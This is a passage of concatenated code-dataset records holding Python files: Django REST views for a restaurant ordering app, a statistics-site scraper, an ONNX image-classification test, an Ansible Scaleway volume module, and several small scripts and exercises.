status_update(self, request):\n response = {'status': \"\",\n 'description': \"\"}\n order = Narocilo.objects.get(id_narocila=request.data['id_narocilo'])\n data = model_to_dict(order)\n data[\"status\"] = request.data[\"status\"]\n\n if not 0 <= request.data[\"status\"] <= 3:\n response['status'] = 0\n response['description'] = \"Invalid status value\"\n return Response(response, status=status.HTTP_400_BAD_REQUEST)\n\n serializer = NarociloSerializer(data=data, instance=order)\n if serializer.is_valid():\n serializer.save()\n response['status'] = 1\n response['description'] = \"Successfully changed status\"\n return Response(response, status=status.HTTP_200_OK)\n else:\n response['status'] = 0\n response['description'] = serializer.errors\n return Response(response, status=status.HTTP_400_BAD_REQUEST)\n\n\nclass RestavracijaViewSet(viewsets.ModelViewSet):\n \"\"\"\n ViewSet provides 'list', 'create', 'retrieve', 'update' and 'destroy' actions\n\n Additional actions can be added using '@action()' decorator, default response\n is GET, you can add POST using 'methods' argument\n \"\"\"\n queryset = Restavracija.objects.all()\n serializer_class = RestavracijaSerializer\n\n @action(detail=False, methods=['POST'])\n def home(self, request):\n \"\"\"\n The function receives JSON data with the name of a city.\n Return all restaurants in given city.\n Return values\n status: 0 - Error\n description: Short description of Error or confirm desired action\n\n If valid input return only array of restaurants, request by Urban.\n \"\"\"\n response = {}\n try:\n location = request.data['location']\n except KeyError:\n location = None\n\n if location is None:\n response['status'] = 0\n response['description'] = \"Error: Please input the location\"\n return Response(response, status=status.HTTP_400_BAD_REQUEST)\n else:\n response = get_restaurants(location)\n return Response(response, status=status.HTTP_200_OK)\n\n @action(detail=False, methods=['POST'])\n def register(self, request):\n \"\"\"\n The function receives a JSON data with the admin email, restaurant name,\n restaurant type, address and rating\n Return values\n status: 0 - Error, 1 - OK\n description: Short description of Error or confirm desired action\n additional actions: Set of actions that also had to be performed, in ex. updating address table\n \"\"\"\n response = {'status': \"\",\n 'description': \"\",\n 'additional actions': \"\"}\n\n # Get admin id\n id_admin = AdminUporabnik.objects.get(email=request.data['email']).id\n\n # Deal with address id\n requested_data = request.data['naslov'].split(', ')\n address = requested_data[0].split(' ')\n post = requested_data[1].split(' ')\n\n try:\n id_address = Naslov.objects.get(ulica=\" \".join(address[:-1]), hisna_stevilka=address[-1]).id_naslov\n except Naslov.DoesNotExist:\n naslov_data = {'ulica': \" \".join(address[:-1]),\n 'hisna_stevilka': address[-1],\n 'postna_stevilka': post[0]}\n\n # Add post to Posta table, if it doesn't exist\n try:\n Posta.objects.get(postna_stevilka=post[0])\n except Posta.DoesNotExist:\n posta_data = {'postna_stevilka': post[0], 'kraj': post[1]}\n serializer_posta = PostaSerializer(data=posta_data)\n if serializer_posta.is_valid():\n serializer_posta.save()\n response['additional actions'] += \"\\nUpdated Posta table\"\n else:\n response['status'] = 0\n response['description'] = serializer_posta.errors\n return Response(response, status=status.HTTP_400_BAD_REQUEST)\n\n # Add address to Naslov table, if it doesn't exist\n serializer_naslov = NaslovSerializer(data=naslov_data)\n if serializer_naslov.is_valid():\n serializer_naslov.save()\n response['additional actions'] += \"\\nUpdated Address table\"\n else:\n response['status'] = 0\n response['description'] = serializer_naslov.errors\n return Response(response, status=status.HTTP_400_BAD_REQUEST)\n id_address = Naslov.objects.get(ulica=\" \".join(address[:-1]), hisna_stevilka=address[-1]).id_naslov\n\n # Build JSON object\n data = {'id_admin': id_admin,\n 'ime_restavracije': request.data['ime_restavracije'],\n 'id_tip_restavracije': request.data['id_tip_restavracije'],\n 'id_naslov': id_address, 'ocena': request.data['ocena']}\n\n serializer = RestavracijaSerializer(data=data)\n if serializer.is_valid():\n serializer.save()\n response['status'] = 1\n response['description'] = \"Restaurant added to admin\"\n return Response(response, status=status.HTTP_201_CREATED)\n else:\n response['status'] = 0\n response['description'] = serializer.errors\n return Response(response, status=status.HTTP_400_BAD_REQUEST)\n\n @action(detail=False, methods=['GET'])\n def fetch_qr(self, request):\n \"\"\"\n Function receives id_restavracija parameter\n Returns all QR codes for a given id_restavracija\n Return values:\n status: 0 || 1\n data: JSON array with QR codes\n \"\"\"\n\n get_params = request.query_params\n response = {}\n return_data = []\n\n try:\n id_restavracija = get_params['id_restavracija']\n except KeyError:\n response['status'] = 0\n response['description'] = \"Missing id, add ?id_restavracija=x to call\"\n return Response(response, status=status.HTTP_400_BAD_REQUEST)\n\n data = Mize.objects.filter(id_restavracija=id_restavracija)\n data = MizeSerializer(data, many=True).data\n\n for obj in data:\n id_miza = obj['id_miza']\n if id_miza not in return_data:\n return_data.append(id_miza)\n\n response['status'] = 1\n response['data'] = return_data\n return Response(response, status=status.HTTP_200_OK)\n\n @action(detail=False, methods=['POST'])\n def add_table(self, request):\n response = {}\n data = request.data\n\n try:\n id_restavracija = data['id_restavracija']\n qr = data['qr']\n except KeyError as e:\n response['status'] = 0\n response['description'] = \"Missing key data \" + str(e) + \"\"\n return Response(response, status=status.HTTP_400_BAD_REQUEST)\n\n if not len(qr):\n response['status'] = 0\n response['description'] = \"Missing data\"\n return Response(response, status=status.HTTP_400_BAD_REQUEST)\n\n table = {\n 'id_restavracija': id_restavracija,\n 'id_miza': qr\n }\n\n serializer = MizeSerializer(data=table)\n if serializer.is_valid():\n serializer.save()\n response['status'] = 1\n response['description'] = \"Successfully added table to restaurant\"\n return Response(response, status=status.HTTP_200_OK)\n else:\n response['status'] = 0\n response['description'] = serializer.errors\n return Response(response, status=status.HTTP_400_BAD_REQUEST)\n\n\nclass TipRestavracijeViewSet(viewsets.ModelViewSet):\n \"\"\"\n ViewSet provides 'list', 'create', 'retrieve', 'update' and 'destroy' actions\n\n Additional actions can be added using '@action()' decorator, default response\n is GET, you can add POST using 'methods' argument\n \"\"\"\n serializer_class = TipRestavracijeSerializer\n queryset = TipRestavracije.objects.all()\n model = TipRestavracije\n\n\nclass AdminUporabnikViewSet(mixins.ListModelMixin, viewsets.GenericViewSet):\n serializer_class = AdminUporabnikSerializer\n queryset = AdminUporabnik.objects.all()\n model = AdminUporabnik\n\n @action(detail=False, methods=['POST'])\n def login(self, request):\n \"\"\"\n The function receives JSON data with the email and the password. If the user exist and the password is\n correct we return the id of the restaurant the user manages, if he does not manage any restaurant returns None.\n Return values\n status: 0 - Error, 1 - OK\n description: Short description of Error or confirm desired action\n id_restavracija: If status 1, id of restaurant or None\n \"\"\"\n response = {}\n\n # First try to get the user\n try:\n user = AdminUporabnik.objects.get(email=request.data['email'])\n except AdminUporabnik.DoesNotExist:\n user = None\n\n # if user exist check password\n if user is not None:\n password = request.data['password']\n match = check_password(password, user.password)\n if not match:\n response['status'] = 0\n response['description'] = \"Password does not match\"\n return Response(response, status=status.HTTP_401_UNAUTHORIZED)\n else:\n query = Restavracija.objects.all().filter(id_admin=user.id)\n data = RestavracijaSerializer(query, many=True).data\n\n if len(data) != 0:\n id_restavracija = data[0]['id_restavracija']\n else:\n id_restavracija = None\n\n response['status'] = 1\n response['description'] = \"Username and password match\"\n response['id_restavracija'] = id_restavracija\n return Response(response, status=status.HTTP_200_OK)\n else:\n response['status'] = 0\n response['description'] = \"Username does not exist\"\n return Response(response, status=status.HTTP_401_UNAUTHORIZED)\n\n @action(detail=False, methods=['POST'])\n def register(self, request):\n \"\"\"\n The function receives JSON data with the email and the password.\n If the input data is valid it creates a new admin user.\n Return values\n status: 0 - Error, 1 - OK\n description: Short description of Error or confirm desired action\n \"\"\"\n serializer = AdminUporabnikSerializer(data=request.data)\n response = {}\n if serializer.is_valid():\n serializer.save()\n response['status'] = 1\n response['description'] = \"New user created\"\n return Response(response, status=status.HTTP_201_CREATED)\n else:\n email_error = (\"Email - \" + serializer.errors['email'][0]) if 'email' in serializer.errors else \"\"\n password_error = (\n \"Password - \" + serializer.errors['password'][0]) if 'password' in serializer.errors else \"\"\n\n response['status'] = 0\n response['description'] = \"Error: \" + email_error + password_error\n return Response(response, status=status.HTTP_400_BAD_REQUEST)\n\n\nclass UporabnikViewSet(mixins.ListModelMixin, viewsets.GenericViewSet):\n serializer_class = UporabnikSerializer\n queryset = Uporabnik.objects.all()\n model = Uporabnik\n\n @action(detail=False, methods=['POST'])\n def get_orders(self, request):\n \"\"\"\n Return all orders and meal data for given user\n \"\"\"\n response = {}\n try:\n id_uporabnik = request.data['id_uporabnik']\n except KeyError:\n id_uporabnik = None\n\n try:\n limit = int(request.data['num_orders'])\n except KeyError:\n limit = 10\n\n if id_uporabnik is None:\n response['status'] = 0\n response['description'] = \"Error: Please input the user id\"\n return Response(response, status=status.HTTP_400_BAD_REQUEST)\n else:\n response['status'] = 1\n response['description'] = \"Orders for user: \" + id_uporabnik + \"\"\n response['orders'] = get_orders(id_uporabnik, limit)\n return Response(response, status=status.HTTP_200_OK)\n\n @action(detail=False, methods=['POST'])\n def register(self, request):\n \"\"\"\n The function receives JSON data with the token of the new user.\n If the input data is valid it creates a new user.\n Return values\n status: 0 - Error, 1 - New user created, 2 - User already registered\n description: Short description of Error or confirm desired action\n \"\"\"\n try:\n user = Uporabnik.objects.get(id_uporabnik=request.data['id_uporabnik'])\n except Uporabnik.DoesNotExist:\n user = None\n\n response = {}\n if user is None:\n serializer = UporabnikSerializer(data=request.data)\n if serializer.is_valid():\n serializer.save()\n response['status'] = 1\n response['description'] = \"New user created\"\n return Response(response, status=status.HTTP_201_CREATED)\n else:\n id_error = \"ID: \" + serializer.errors['id_uporabnik'][0]\n response['status'] = 0\n response['description'] = \"Error: \" + id_error\n return Response(response, status=status.HTTP_400_BAD_REQUEST)\n else:\n response['status'] = 2\n response['description'] = \"User already registered\"\n return Response(response, status=status.HTTP_200_OK)\n\n @action(detail=False, methods=['POST'])\n def check_in(self, request):\n # TODO: Implement check in from user\n response = {}\n try:\n id_narocila = request.data['id_narocilo']\n qr = request.data['qr']\n except KeyError:\n response['status'] = 0\n response['description'] = \"Error: Missing either id_narocilo or qr\"\n return Response(response, status=status.HTTP_400_BAD_REQUEST)\n\n # noinspection PyBroadException\n try:\n order = Narocilo.objects.get(id_narocila=id_narocila)\n order_id_restaurant = order.id_restavracija\n except Exception:\n response['status'] = 0\n response['description'] = \"Could not retrieve order {}\".format(id_narocila)\n return Response(response, status=status.HTTP_503_SERVICE_UNAVAILABLE)\n\n try:\n Mize.objects.get(id_restavracija=order_id_restaurant, id_miza=qr)\n except models.ObjectDoesNotExist:\n response['status'] = 0\n response['description'] = \"Error: Restaurant ID and QR do not match for provided Order\"\n return Response(response, status=status.HTTP_400_BAD_REQUEST)\n\n data = model_to_dict(order)\n data[\"checked_in\"] = True\n data[\"id_miza\"] = qr\n\n serializer = NarociloSerializer(data=data, instance=order)\n if serializer.is_valid():\n serializer.save()\n # Add order to checked_in array to be used in refresh api call\n order_dict = {'id_narocila': order.id_narocila, 'qr': qr,\n 'id_restavracija': order.id_restavracija.id_restavracija}\n add_checked_in_order(order_dict)\n\n response['status'] = 1\n response['description'] = \"Successfully checked in order\"\n return Response(response, status=status.HTTP_200_OK)\n else:\n response['status'] = 0\n response['description'] = serializer.errors\n return Response(response, status=status.HTTP_400_BAD_REQUEST)\n\n\nclass JedViewSet(mixins.ListModelMixin, viewsets.GenericViewSet):\n serializer_class = JedSerializer\n queryset = Jed.objects.all()\n model = Jed\n\n def list(self, request, *args, **kwargs):\n return_data = defaultdict(list)\n get_params = request.query_params\n\n try:\n id_restavracija = get_params['id_restavracija']\n except KeyError:\n response = {\n 'status': 0,\n 'description': \"Missing id, add ?id_restavracija=x to call\"\n }\n return Response(response, status=status.HTTP_400_BAD_REQUEST)\n\n meal_types = JedilniList.objects.all()\n meal_types = JedilniListSerializer(meal_types, many=True).data\n meal_types = {x['id_jedilni_list']: x['vrsta'] for x in meal_types} # Transform OrderDict to dict\n\n meals = Jed.objects.filter(id_restavracija=id_restavracija)\n meals = JedSerializer(meals, many=True).data\n\n for meal in meals:\n typ = meal_types[meal['id_jedilni_list']]\n return_data[typ].append({\n 'id_jed': meal['id_jed'],\n 'ime_jedi': meal['ime_jedi'],\n 'opis_jedi': meal['opis_jedi'],\n 'cena': meal['cena'],\n 'kolicina': 1\n })\n\n return Response(return_data, status=status.HTTP_200_OK)\n\n @action(detail=False, methods=['POST'])\n def new_meal(self, request):\n \"\"\"\n Create new meal\n \"\"\"\n serializer = JedSerializer(data=request.data)\n if serializer.is_valid():\n serializer.save()\n response = {'status': 1, 'description': \"New meal created\"}\n return Response(response, status=status.HTTP_201_CREATED)\n else:\n response = {'status': 0, 'description': \"Could not create meal\"}\n return Response(response, status=status.HTTP_400_BAD_REQUEST)\n","sub_path":"ServeUp/Views/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":25251,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"580906518","text":"import requests\nfrom bs4 import BeautifulSoup\nimport re\nimport urllib.request\nimport time\nimport csv\n\n\ndef get_request_years():\n headers = {\n 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36'}\n page = requests.get(\"http://www.stats.gov.cn/tjsj/ndsj/\", headers = headers)\n\n html = BeautifulSoup(page.content, 'html.parser')\n table = html.find('table', 'ztzw_tab')\n print(table)\n links = table.findAll('a')\n years_hrefs = []\n for link in links:\n years_hrefs.append(link['href'])\n\n print(years_hrefs)\n return years_hrefs\n\n\n\n\ndef get_data_for_year(year):\n headers = {\n 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36'}\n left_link = re.sub('indexch', 'left', year)\n base_link = re.sub('indexch.htm', '', year)\n base_year = re.findall('\\d+', base_link)[0]\n year_page = requests.get(left_link, headers=headers)\n year_html = BeautifulSoup(year_page.content)\n if len(year_html.findAll('ul', {'id': 'foldinglist'})) != 0:\n folding_lists = year_html.findAll('ul', {'id': 'foldinglist'})\n else:\n folding_lists = year_html.findAll('ul', {'id': re.compile('divOne_*')})\n\n\n for folding_list in folding_lists:\n li_lists = folding_list.findAll('li')\n\n for li_list in li_lists:\n file = li_list.find(\"a\").get('href')\n name = li_list.find(\"a\").text.strip()\n name = re.sub('\\W+', '', name)\n print(file)\n\n if '.jpg' in file:\n retries = 3\n success = False\n while not success and retries >= 0:\n if retries == 0:\n raise Exception(\"cause of the problem, time out\")\n\n try:\n urllib.request.urlretrieve(base_link + file,\n 'C:\\\\Users\\\\jocel\\\\OneDrive\\\\Desktop\\\\test\\\\' + base_year + name + '.jpg')\n success = True\n except Exception as e:\n wait = retries * 30\n time.sleep(wait)\n retries -= 1\n print(e)\n elif '简要说明' in name:\n pass\n elif '主要统计指标解释' in name:\n pass\n elif '.htm' in file:\n retries = 3\n success = False\n while not success and retries >= 0:\n if retries == 0:\n raise Exception(\"cause of the problem, time out\")\n\n try:\n print(file)\n print(base_link)\n add = re.sub(r'\\b.htm\\b', '.xls', base_link + file)\n print(add)\n urllib.request.urlretrieve(add,\n 'C:\\\\Users\\\\jocel\\\\OneDrive\\\\Desktop\\\\test\\\\' + base_year + name + '.xls')\n\n success = True\n except Exception as e:\n wait = retries * 30\n time.sleep(wait)\n retries -= 1\n print(e)\n\n\n else:\n raise Exception(\"cause of the problem\")\n\ndef flow():\n years_hrefs = get_request_years()\n for year_href in years_hrefs:\n print(year_href)\n get_data_for_year(year_href)\n\n\n\nif __name__== \"__main__\":\n flow()\n","sub_path":"get_stat_data.py","file_name":"get_stat_data.py","file_ext":"py","file_size_in_byte":3595,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"230810907","text":"import time\r\nimport numpy as np\r\nimport transforms\r\nfrom datasets import ImageFolder#torch package\r\nimport cv2\r\nimport matplotlib.pyplot as plt\r\nimport os\r\nimport onnx\r\nimport onnxruntime\r\nimport utils.data.dataloader#torch package\r\n\r\nimport sys\r\ndef OppositePath():\r\n \"\"\"相对路径\"\"\"\r\n dirname, filename = os.path.split(os.path.abspath(sys.argv[0]))\r\n return dirname\r\n\r\nif __name__ == '__main__':\r\n class_name=['背景','港口','机场','雷达阵地','战场场景']\r\n class_name_pinyin=['background','port','airport','radar positioons','battlefield scenes']\r\n BATCH_SIZE = 1\r\n num_classes=5\r\n test_transform = transforms.Compose([\r\n transforms.Resize((224, 224)), # resize鍒?24x224澶у皬\r\n transforms.ToTensor(), # 杞寲鎴怲ensor\r\n transforms.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225]) # 姝e垯鍖?\r\n ])\r\n img_test=OppositePath()+'\\\\pictures'\r\n\r\n test_dataset = ImageFolder(img_test, transform=test_transform)\r\n test_dataset_original=ImageFolder(img_test)\r\n print(test_dataset_original.imgs[0][0])\r\n test_loader = utils.data.DataLoader(dataset=test_dataset, batch_size=BATCH_SIZE, shuffle=False,num_workers=2)\r\n\r\n onnx_model = onnx.load('history_best_resnet50.onnx')\r\n onnx.checker.check_model(onnx_model)\r\n ort_session = onnxruntime.InferenceSession(\"history_best_resnet50.onnx\")\r\n\r\n def to_numpy(tensor):\r\n return tensor.detach().cpu().numpy() if tensor.requires_grad else tensor.cpu().numpy()\r\n\r\n for j, (inputs, labels) in enumerate(test_loader):\r\n img_path=test_dataset_original.imgs[j][0].split('\\\\')\r\n add_path=''\r\n for i in range(len(img_path)):\r\n add_path+=img_path[i]+'\\\\\\\\'\r\n add_path=add_path[:-2]\r\n print('图片序号:', add_path)\r\n # ***************\r\n ort_inputs = {ort_session.get_inputs()[0].name: to_numpy(inputs)}\r\n outputs = ort_session.run(None, ort_inputs)[0][0]\r\n for i in range(len(outputs)):\r\n if outputs[i]==max(outputs):\r\n predictions=i\r\n else:\r\n pass\r\n print(class_name[int(predictions)])\r\n image = cv2.imdecode(np.fromfile(file=add_path, dtype=np.uint8), cv2.IMREAD_COLOR)\r\n cv2.putText(image,class_name_pinyin[int(predictions)], (40, 50), cv2.FONT_HERSHEY_PLAIN, 3.0, (0, 0, 255), 2)\r\n cv2.imshow(add_path, image)\r\n cv2.waitKey(0)\r\n\r\n\r\n\r\n\r\n\r\n","sub_path":"test1_onnx.py","file_name":"test1_onnx.py","file_ext":"py","file_size_in_byte":2465,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"505515051","text":"import os\nimport stat\nimport sys\nfrom datetime import datetime\nimport argparse\n\n# -------------------------------------------------------------------------\n''' Main Class '''\nclass ClassTemplate:\n# ------------------\n def __init__(self, args):\n os.system('cls')\n self.start_time = datetime.now().replace(microsecond=0)\n self.end_time = 0\n self.stdout_orig = sys.stdout\n self.verbose = args.verbose\n self.output = open('Output.txt', 'w')\n# ------------------\n def __del__(self):\n self.output.close()\n self.end_time = datetime.now()\n print('==========================')\n print('Finished. Duration = {0}'.format(self.end_time - self.start_time) )\n print('==========================')\n# ------------------\n def StdOutToFile(self):\n sys.stdout = open('Output.txt', 'w')\n# ------------------\n def StdOutRestore(self):\n sys.stdout = self.stdout_orig\n\n# ------------------\n def Print(self,msg, toFile=False):\n if self.verbose and (toFile == False):\n print(msg)\n else:\n self.output.write(str(msg) + '\\n')\n# ------------------\n def Run(self, path):\n print('Run')\n'''End of CodeReview class definition'''\n# -------------------------------------------------------------------------\n# -------------------------------------------------------------------------\n# MAIN program.\n# -------------------------------------------------------------------------\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument(\"-v\", \"--verbose\", \n help=\"enable verbose mode\",\n default = False,\n action=\"store_true\")\n parser.add_argument(\"-f\", \"--file\", \n type = str,\n default = 'DD DB Bubbles.xlsm',\n help=\"The excel file where the table resides\",\n )\n parser.add_argument(\"-s\", \"--sheet\", \n type = str,\n default = 'Data Range',\n help=\"The excel file worksheet name where the table resides\",\n )\n parser.add_argument(\"-c\", \"--column\", \n type = int,\n default = 0,\n help=\"The column to check for worst case matching\",\n )\n args = parser.parse_args()\n obj = ClassTemplate(args)\n obj.Run()\n","sub_path":"Template.py","file_name":"Template.py","file_ext":"py","file_size_in_byte":2500,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"586055444","text":"#!/usr/bin/python\n#\n# Scaleway volumes management module\n#\n# Copyright (C) 2018 Henryk Konsek Consulting (hekonsek@gmail.com).\n#\n# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)\n\nfrom __future__ import absolute_import, division, print_function\n\n__metaclass__ = type\n\nANSIBLE_METADATA = {\n 'metadata_version': '1.1',\n 'status': ['preview'],\n 'supported_by': 'community'\n}\n\nDOCUMENTATION = '''\n---\nmodule: scaleway_volume\nshort_description: Scaleway volumes management module\nversion_added: \"2.7\"\nauthor: Henryk Konsek (@hekonsek)\ndescription:\n - This module manages volumes on Scaleway account\n U(https://developer.scaleway.com)\nextends_documentation_fragment: scaleway\n\noptions:\n state:\n description:\n - Indicate desired state of the volume.\n default: present\n choices:\n - present\n - absent\n region:\n description:\n - Scaleway region to use (for example par1).\n required: true\n choices:\n - ams1\n - EMEA-NL-EVS\n - par1\n - EMEA-FR-PAR1\n name:\n description:\n - Name used to identify the volume.\n required: true\n organization:\n description:\n - ScaleWay organization ID to which volume belongs.\n size:\n description:\n - Size of the volume in bytes.\n volume_type:\n description:\n - Type of the volume (for example 'l_ssd').\n'''\n\nEXAMPLES = '''\n - name: Create 10GB volume\n scaleway_volume:\n name: my-volume\n state: present\n region: par1\n organization: \"{{ scw_org }}\"\n \"size\": 10000000000\n volume_type: l_ssd\n register: server_creation_check_task\n\n - name: Make sure volume deleted\n scaleway_volume:\n name: my-volume\n state: absent\n region: par1\n\n'''\n\nRETURN = '''\ndata:\n description: This is only present when C(state=present)\n returned: when C(state=present)\n type: dict\n sample: {\n \"volume\": {\n \"export_uri\": null,\n \"id\": \"c675f420-cfeb-48ff-ba2a-9d2a4dbe3fcd\",\n \"name\": \"volume-0-3\",\n \"organization\": \"000a115d-2852-4b0a-9ce8-47f1134ba95a\",\n \"server\": null,\n \"size\": 10000000000,\n \"volume_type\": \"l_ssd\"\n }\n}\n'''\n\nfrom ansible.module_utils.scaleway import SCALEWAY_LOCATION, scaleway_argument_spec, Scaleway\nfrom ansible.module_utils.basic import AnsibleModule\n\n\ndef core(module):\n state = module.params['state']\n name = module.params['name']\n organization = module.params['organization']\n size = module.params['size']\n volume_type = module.params['volume_type']\n\n account_api = Scaleway(module)\n response = account_api.get('volumes')\n status_code = response.status_code\n volumes_json = response.json\n\n if not response.ok:\n module.fail_json(msg='Error getting volume [{0}: {1}]'.format(\n status_code, response.json['message']))\n\n volumeByName = None\n for volume in volumes_json['volumes']:\n if volume['organization'] == organization and volume['name'] == name:\n volumeByName = volume\n\n if state in ('present',):\n if volumeByName is not None:\n module.exit_json(changed=False)\n\n payload = {'name': name, 'organization': organization, 'size': size, 'volume_type': volume_type}\n\n response = account_api.post('/volumes', payload)\n\n if response.ok:\n module.exit_json(changed=True, data=response.json)\n\n module.fail_json(msg='Error creating volume [{0}: {1}]'.format(\n response.status_code, response.json))\n\n elif state in ('absent',):\n if volumeByName is None:\n module.exit_json(changed=False)\n\n if module.check_mode:\n module.exit_json(changed=True)\n\n response = account_api.delete('/volumes/' + volumeByName['id'])\n if response.status_code == 204:\n module.exit_json(changed=True, data=response.json)\n\n module.fail_json(msg='Error deleting volume [{0}: {1}]'.format(\n response.status_code, response.json))\n\n\ndef main():\n argument_spec = scaleway_argument_spec()\n argument_spec.update(dict(\n state=dict(default='present', choices=['absent', 'present']),\n name=dict(required=True),\n size=dict(type='int'),\n organization=dict(),\n volume_type=dict(),\n region=dict(required=True, choices=SCALEWAY_LOCATION.keys()),\n ))\n module = AnsibleModule(\n argument_spec=argument_spec,\n supports_check_mode=True,\n )\n\n core(module)\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"env/lib/python3.9/site-packages/ansible/modules/cloud/scaleway/scaleway_volume.py","file_name":"scaleway_volume.py","file_ext":"py","file_size_in_byte":4522,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"449433351","text":"# -*- coding: utf-8 -*-\n# @Time: 2020/10/20 9:11\n# @Author: Rollbear\n# @Filename: dblp_total.py\n\n\nimport tiles as t\nimport os\nfrom tqdm import tqdm # 进度条支持\n\n\ndef run_tiles_on_a_dataset(dataset, edgelist_name=None, obs=365, ttl=float('inf'), out=\"tiles_output\"):\n working_dir = f\"../dblp/datasets/frame_with_timestamp/{dataset}/\"\n if edgelist_name is None:\n edgelist_name = sorted([path for path in os.listdir(working_dir) if path.endswith(\".edgelist\")])[-1]\n data_path = working_dir + edgelist_name\n if not os.path.exists(working_dir + out):\n os.mkdir(working_dir + out)\n output_path = working_dir + out\n\n tl = t.TILES(data_path,\n path=output_path,\n obs=obs,\n ttl=ttl)\n\n print(f\"run on {data_path}\\noutput to {output_path}\")\n tl.execute() # 执行算法\n\n\nif __name__ == '__main__':\n avail_types = [\n \"phdthesis\",\n \"www\",\n \"book\",\n \"incollection\",\n \"article\",\n \"inproceedings\"\n ]\n\n for avail_type in tqdm(avail_types):\n run_tiles_on_a_dataset(avail_type,\n edgelist_name=f\"{avail_type}_sorted.edgelist\",\n obs=365,\n out=\"tiles_output_test3\")\n","sub_path":"basic/dblp_total.py","file_name":"dblp_total.py","file_ext":"py","file_size_in_byte":1286,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"434401550","text":"#encoding: utf-8\nfrom OpenOrange import *\n\nParentVoucherDoc = SuperClass(\"VoucherDoc\",\"Document\",__file__)\nclass VoucherDoc(ParentVoucherDoc):\n\n def printAditionalVoucher(self, var):\n endLine = 80\n text = var.Comment.split(\" \")\n accum = \"\"\n for i in range(len(text)):\n if len(accum + \" \") < endLine:\n accum = accum + text[i] + \" \"\n if (i+1) == len(text):\n self.addString(\"Comment2\", accum)\n else:\n self.addString(\"Comment2\", accum)\n accum = text[i] + \" \"","sub_path":"standard/documents/VoucherDoc.py","file_name":"VoucherDoc.py","file_ext":"py","file_size_in_byte":586,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"291478275","text":"def guest():\n '''保存姓名并访问'''\n while True:\n user = input('please input yor account: \\n')\n if user == 'quit':\n break\n filename = r'C:\\Users\\42582\\Desktop\\pcc-master\\Users_name.txt'\n with open(filename,'a') as file_object:\n file_object.write(user + '\\n')\n print('hello ' + user)\n\nguest()","sub_path":"05-FileAndAbnormal/guests.py","file_name":"guests.py","file_ext":"py","file_size_in_byte":360,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"154704828","text":"from NN.Basic.Networks import *\n\nfrom Util.Util import DataUtil\n\n\ndef main():\n nn = NNDist()\n save = False\n load = False\n show_loss = True\n train_only = False\n verbose = 2\n\n lr = 0.001\n lb = 0.001\n epoch = 5\n record_period = 1\n use_cnn = True\n\n x, y = DataUtil.get_dataset(\"mnist\", \"../../../_Data/mnist.txt\", quantized=True, one_hot=True)\n if use_cnn:\n x = x.reshape(len(x), 1, 28, 28)\n batch_size = 32\n else:\n batch_size = 128\n\n if not load:\n if use_cnn:\n nn.add(\"ConvReLU\", (x.shape[1:], (16, 3, 3)))\n nn.add(\"MaxPool\", ((3, 3),), 1)\n nn.add(\"ConvNorm\")\n nn.add(\"ConvDrop\")\n else:\n nn.add(\"ReLU\", (x.shape[1], 1024))\n nn.add(\"ReLU\", (1024,))\n nn.add(\"CrossEntropy\", (y.shape[1],))\n nn.optimizer = \"Adam\"\n nn.preview()\n nn.fit(x, y, lr=lr, lb=lb,\n epoch=epoch, batch_size=batch_size, record_period=record_period,\n show_loss=show_loss, train_only=train_only, do_log=True, verbose=verbose)\n if save:\n nn.save()\n nn.draw_results()\n else:\n nn.load()\n nn.preview()\n print(nn.evaluate(x, y)[0])\n\n nn.show_timing_log()\n\nif __name__ == '__main__':\n main()\n","sub_path":"MachineLearning-master/NN/Test/Basic/Test.py","file_name":"Test.py","file_ext":"py","file_size_in_byte":1307,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"121503687","text":"import os, ctypes\nfrom ._core import visual_action, _expand_path\nfrom xbot._core import try_get_sdmodule\n\n@visual_action\ndef read(**args):\n sdmodule = try_get_sdmodule()\n resources = sdmodule['resources']\n\n file_name = args['file_name']\n read_way = args['read_way']\n encoding = args['encoding']\n\n if read_way == 'text':\n return resources.get_text(file_name, encoding)\n else:\n return resources.get_bytes(file_name)\n\n@visual_action\ndef copy_to(**args):\n sdmodule = try_get_sdmodule()\n resources = sdmodule['resources']\n\n file_name = args['file_name']\n dest_file_name = args['dest_file_name']\n\n resources.copy_to(file_name, dest_file_name)\n\n@visual_action\ndef copy_to_clipboard(**args):\n sdmodule = try_get_sdmodule()\n resources = sdmodule['resources']\n\n file_name = args['file_name']\n resources.copy_to_clipboard([_expand_path(file_name)])\n\n\n\n ","sub_path":"RPA/组件/ShadowBot/3.9.9/xbot_visual/resourcesfile.py","file_name":"resourcesfile.py","file_ext":"py","file_size_in_byte":907,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"380873133","text":"#8) Să se afişeze cel mai mare număr par dintre doua numere introduse în calculator. \r\na=int(input('Primul numar este'))\r\nb=int(input('Al doilea numar este'))\r\nif (a%2==0) and (b%2==0):\r\n if a>b:\r\n print(a)\r\n else:\r\n print(b)\r\nelse:\r\n print('Numerele nu sunt pare')","sub_path":"problema_8_IF.py","file_name":"problema_8_IF.py","file_ext":"py","file_size_in_byte":292,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
